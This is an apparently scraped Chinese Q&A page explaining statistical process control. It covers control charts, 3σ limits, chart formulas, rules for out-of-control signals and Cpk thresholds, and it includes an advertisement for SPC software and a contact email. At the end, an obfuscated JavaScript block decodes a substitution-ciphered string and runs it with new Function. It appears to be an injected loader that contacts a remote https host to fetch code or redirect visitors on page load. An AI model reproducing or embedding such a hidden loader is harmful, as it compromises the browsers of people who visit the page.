推荐回答(4个)
什么是SPC
SPC即英文 “Statistical Process Control”之缩写,意为 “统计制程控制” SPC或称统计过程控制。SPC主要是指应用统计分析技术对生产过程进行实时监控,科学的区分出生产过程中产品质量的随机波动与异常波动,从而对生产过程的异常趋势提出预警,以便生产管理人员及时采取措施,消除异常,恢复过程的稳定,从而达到提高和控制质量的目的。
在生产过程中,产品的加工尺寸的波动是不可避免的。它是由人、机器、材料、方法和环境等基本因素的波动影响所致。波动分为两种:正常波动和异常波动。正常波动是偶然性原因(不可避免因素)造成的。它对产品质量影响较小,在技术上难以消除,在经济上也不值得消除。异常波动是由系统原因(异常因素)造成的。它对产品质量影响很大,但能够采取措施避免和消除。过程控制的目的就是消除、避免异常波动,使过程处于正常波动状态。
SPC起源与发展
1. 1924年休哈特博士在贝尔实验室发明了品质控制图。
2. 1939年休哈特博士与戴明博士合写了《品质观点的统计方法》。
3. 二战后美英将品质控制图方法引进制造业,并应用于生产过程。
4. 1950年,戴明到日本演讲,介绍了SQC的技术与观念。
5. SQC是在发生问题后才去解决问题,是一种浪费,所以发展出了SPC。
6. 美国汽车制造商福特、通用汽车公司等对SPC很重视,所以SPC得以广泛应用。
7. ISO9000(2000)体系亦注重过程控制和统计技术的应用(如8.1,8.2.3)。
3σ原理简介
当过程仅仅俺有正常变异时,过程的质量特性是呈现正态分布的,其分布状态如下:
休哈特建议用界限±3σ来控制过程,就是说,在10000个产品中不超过27个不合格品出现,就认为改生产过程是正常的,若达到27个以上,就认为过程失控。
SPC技术原理
控制(SPC)是一种借助数理统计方法的过程控制工具。它对生产过程进行分析评价,根据反馈信息及时发现系统性因素出现的征兆,并采取措施消除其影响,使过程维持在仅受随机性因素影响的受控状态,以达到控制质量的目的。当过程仅受随机因素影响时,过程处于统计控制状态(简称受控状态);当过程中存在系统因素的影响时,过程处于统计失控状态(简称失控状态)。由于过程波动具有统计规律性,当过程受控时,过程特性一般服从稳定的随机分布;而失控时,过程分布将发生改变。SPC正是利用过程波动的统计规律性对过程进行分析控制的。因而,它强调过程在受控和有能力的状态下运行,从而使产品和服务稳定地满足顾客的要求。
统计学的几个基本概念
1) 计量值与计数值
计量值:其特点是可以连续读取的这些数据;
计数值:其特点是不可以连续读取的这些数据。
2) 总体、个体、样本、抽样
总体:由具有某种共同特性的单位个体组成的较大数量的整体。三特性:同质性、大量性和差异性。
样本:由整体里的一定数量(部分或全部)个体组成的群体。
质量管理中常用的统计分析方法
介绍的以下这些工具和方法具有很强的实用性,而且较为简单,在许多国家、地区和各行各业都得到广泛应用:
控制图:用来对过程状态进行监控,并可度量、诊断和改进过程状态。
直方图:是以一组无间隔的直条图表现频数分布特征的统计图,能够直观地显示出数据的分布情况。
排列图:又叫帕累托图,它是将各个项目产生的影响从最主要到最次要的顺序进行排列的一种工具。可用其区分影响产品质量的主要、次要、一般问题,找出影响产品质量的主要因素,识别进行质量改进的机会。
散布图: 以点的分布反映变量之间相关情况,是用来发现和显示两组数据之间相关关系的类型和程度,或确认其预期关系的一种示图工具。
过程能力指数(Cpk):分析工序能力满足质量标准、工艺规范的程度。
频数分析:形成观测量中变量不同水平的分布情况表。
描述统计量分析:如平均值、最大值、最小值、范围、方差等,了解过程的一些总体特征。
相关分析:研究变量之间关系的密切程度,并且假设变量都是随机变动的,不分主次,处于同等地位。
回归分析:分析变量之间的相互关系。
SPC控制图及计算
1、常用的SPC控制图
1)计量值控制图
Xbar-R(X-R):平均值与全距(极差)控制图
X-Rm:个别值与全距控制图
2) 计数值控制图
P-chart:不良率控制图
Pn-chart:不良数控制图
C-chart:缺点数控制图
U-chart:单位缺点数控制图
2、SPC控制图应用及计算
1) SPC控制图三要素:坐标、管制界限、数据点;构成完整的SPC图。
2) 计算:
A. Xbar-R(平均值与全距(极差)控制图): Xbar=∑Xn/n, R =Xmax-Xmin ,R=∑Rn/n
UCL=X +A2*R LCL=X -A2*R
UCL=D4*R LCL==D3*R
B.P-chart:不良率控制图 P=P‘(NG)/∑N *100%
C.C-chart:缺点数控制图
D.U-chart:单位缺点数控制图
SPC控制图(管制图)的实施
1、 实施SPC的两个阶段
实施SPC分为两个阶段,一是分析阶段(批量试产阶段),二是监控阶段。在这两个阶段所使用的控制图分别被称为分析用控制图和控制用控制图。
分析阶段的主要目的在于:
一)、使过程处于统计稳态,
二)、使过程能力足够。
分析阶段首先要进行的工作是生产准备,即把生产过程所需的原料、劳动力、设备、测量系统等按照标准要求进行准备。生产准备完成后就可以进行,注意一定要确保生产是在影响生产的各要素无异常的情况下进行;然后就可以用生产过程收集的数据计算控制界限,作成分析用控制图、直方图、或进行过程能力分析,检验生产过程是否处于统计稳态、以及过程能力是否足够。如果任何一个不能满足,则必须寻找原因,进行改进,并重新准备生产及分析。直到达到了分析阶段的两个目的,则分析阶段可以宣告结束,进入SPC监控阶段。
监控阶段的主要工作是使用控制用控制图进行监控。此时控制图的控制界限已经根据分析阶段的结果而确定,生产过程的数据及时绘制到控制上,并密切观察控制图,控制图中点的波动情况可以显示出过程受控或失控,如果发现失控,必须寻找原因并尽快消除其影响。监控可以充分体现出SPC预防控制的作用。
在工厂的实际应用中,对于每个控制项目,都必须经过以上两个阶段,并且在必要时会重复进行这样从分析到监控的过程。
2、SPC控制图(管制图)管制界限的调整
1) SPC控制图特性:追溯性、预测性、延续性(稳定性);故SPC控制图的管制界限可以延用。
2) 4M1E分析方法,4M1E:人(MAN)、机(MACHINE)、料(MATETIAL)、法(METHOD)、环(ENVIRONMENT);五要素只要有一个发生改变就必须重新计算。
SPC控制图(管制图)异常的判断及处理
有以下几种情况属管制图异常:
1. 有点超出管制上/下限。
2. 连续7点出现在管制中心线的一侧。
3. 连续7点出现持续上升或下降。
4. 连续3点中有2点靠近管制上/下限。
5. 管制图上的点(7点以上)出现规律性变化。
管制图异常的处理
1.产线工人或班组长发现SPC管制异常时首先;自我检查,是否严格按作业标准(SOP或WI)作业,相邻作业员交叉检验;情况严重,或无法查找到原因必须立即通知品质工程师和制程工程师。
2.品质工程师与制程工程师现场分析后,能否在较短的时间内(0.5~1小时)找到产生异常的原因,采用4M1E分析制程;如仍然无法找到根源,而且情况严重(如:P不良率大大超标),报告上级主管决定是否停线;品质工程师召集相关部门开会讨论,寻找根本原因(制程、设计、材料或其它)。
3.SPC产生异常的原因找到并实施纠正预防措施后,SPC管制图向管制异常相反的方向转变,说明对策有效;恢复正常生产。此过程必须严密监控。
制程能力指数(参数)CPK
CPK是反映制程能力的一个重要参数;
如CPK≥1.33,说明制程能力较好,需继续保持;
如1.33≥CPK≥1,说明制程能力一般,须改进加强;
如CPK≤1,说明制程能力较差,急需改进。
SPC的发展特点
70年在全世界范围的实践,SPC理论已经发展得非常完善,其与计算机技术的结合日益紧密,其在企业内的应用范围、程度也已经非常广泛、深入。概括来讲,SPC的发展呈现如下特点:
(1).分析功能强大,辅助决策作用明显 在众多企业的实践基础上发展出繁多的统计方法和分析工具,应用这些方法和工具可根据不同目的、从不同角度对数据进行深入的研究与分析,在这一过程中SPC的辅助决策功能越来越得到强化;
(2).体现全面质量管理思想 随着全面质量管理思想的普及,SPC在企业产品质量管理上的应用也逐渐从生产制造过程质量控制扩展到产品设计、辅助生产过程、售后服务及产品使用等各个环节的质量控制,强调全过程的预防与控制;
(3). 与计算机网络技术紧密结合现代企业质量管理要求将企业内外更多的因素纳入考察监控范围、企业内部不同部门管理职能同时呈现出分工越来越细与合作越来越紧密两个特点,这都要求可快速处理不同来源的数据并做到最大程度的资源共享。适应这种需要,SPC与计算机技术尤其是网络技术的结合越来越紧密。
(4).系统自动化程度不断加强传统的SPC系统中,原始数据是手工抄录,然后人工计算、打点描图,或者采用人工输入计算机,然后再利用计算机进行统计分析。随着生产率的提高,在高速度、大规模、重复性生产的制造型企业里,SPC系统已更多采取利用数据采集设备自动进行数据采集,实时传输到质量控制中心进行分析的方式。
(5).系统可扩展性和灵活性要求越来越高 企业外部和内部环境的发展变化速度呈现出加速度的趋势,成功运用的系统不仅要适合现时的需要,更要符合未来发展的要求,在系统平台的多样性、软件技术的先进性、功能适应性和灵活性以及系统开放性等方面提出越来越高的要求。
SPC对企业带来的好处
SPC强调全过程监控、全系统参与,并且强调用科学方法(主要是统计技术)来保证全过程的预防。SPC不仅适用于质量控制,更可应用于一切管理过程(如产品设计、市场分析等)。正是它的这种全员参与管理质量的思想,实施SPC可以帮助企业在质量控制上真正作到事前预防和控制,SPC可以:
对过程作出可靠的评估;
确定过程的统计控制界限,判断过程是否失控和过程是否有能力;
为过程提供一个早期报警系统,及时监控过程的情况以防止废品的发生;
减少对常规检验的依赖性,定时的观察以及系统的测量方法替代了大量的检测和验证工作;
有了以上的预防和控制,我们的企业当然是可以:
降低成本
降低不良率,减少返工和浪费
提高劳动生产率
提供核心竞争力
赢得广泛客户
更好地理解和实施质量体系
SPC做得好的就赛微了,世界许多大公司已经采用赛微SPC,如台达 富士康 AVC...
www.qissoft.com
1. 基础信息设置
包括质量特性、缺陷项目、测试规则、层别信息(如班次、操作者、产品类别等)、异常原因、改善措施等的定义。
2. 数据采集
SPC具备多种数据采集方式,有人工输入、自动采集、条码扫描等,企业可根据实际情况选用。用该模块实现自动采集时,通过灵活配置可自动采集各种具备RS232/RS485/RS422等数据输出接口的生产设备、检测仪器或DCS/PCS/PLC等控制设备的输出数据。该模块由数据采集服务器、数据采集工作站以及相应的配套硬件共同组成。
3. 过程监控
该模块实现实时过程监控,自动预警以及丰富的统计分析功能。
1)监视分析过程的性能:
l 根据选择生成各种控制图:
平均值-极差控制图(X bar –R Chart)
平均值-标准差控制图(X bar – S Chart)
单值-移动极差控制图(X- MR Chart)
不良品率控制图(P –Chart)
不良品数控制图(nP –Chart)
缺陷控制图(C Chart)
单位产品缺陷数控制图(U Chart)等;
l 控制图异常点注释;
l 过程能力和过程性能分析、比较,发现改进空间;
2)异常处理:
l 过程异常的自动报警,报警方式:电脑短消息、E-mail、手机短信、现场声光报警
l 过程异常波动统计分析
l 过程异常原因统计分析
l 使用控制图进行异常监控
质量特性异常变化时报警,发送电脑短消息、E-mail或手机短信给相关质检、生产、工艺人员。
4.数据分析和报表:
根据自由定义的层别信息的任意组合进行针对性品质分析和报表打印;任意组合的过程的异常规则、异常原因及改善对策的汇总分析;过程数据的分层分析;多变量分析(回归和相关分析)等等。
提供20多种统计量,包括平均值、最大值、最小值、极差、标准差、对称度、峰度、Cp、Cr、k、Cpk、Cpm、Ppm、Ppk等。提供10多种统计控制图,包括X-MR图、X Bar-R图、X Bar-S图、P图、Pn图、U图、C图、运行图、直方图、缺陷柏拉图、异常柏拉图、原因柏拉图、措施柏拉图、散点图、Trend-Chart等。
我这里有祥细的SPC解读资料,包括第二版SPC的资料,请你发邮件到我的邮箱liu1209@qdmchina.com.cn来索取。
基础的网站http://www.sqc.com.tw,高级的以后再联系
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();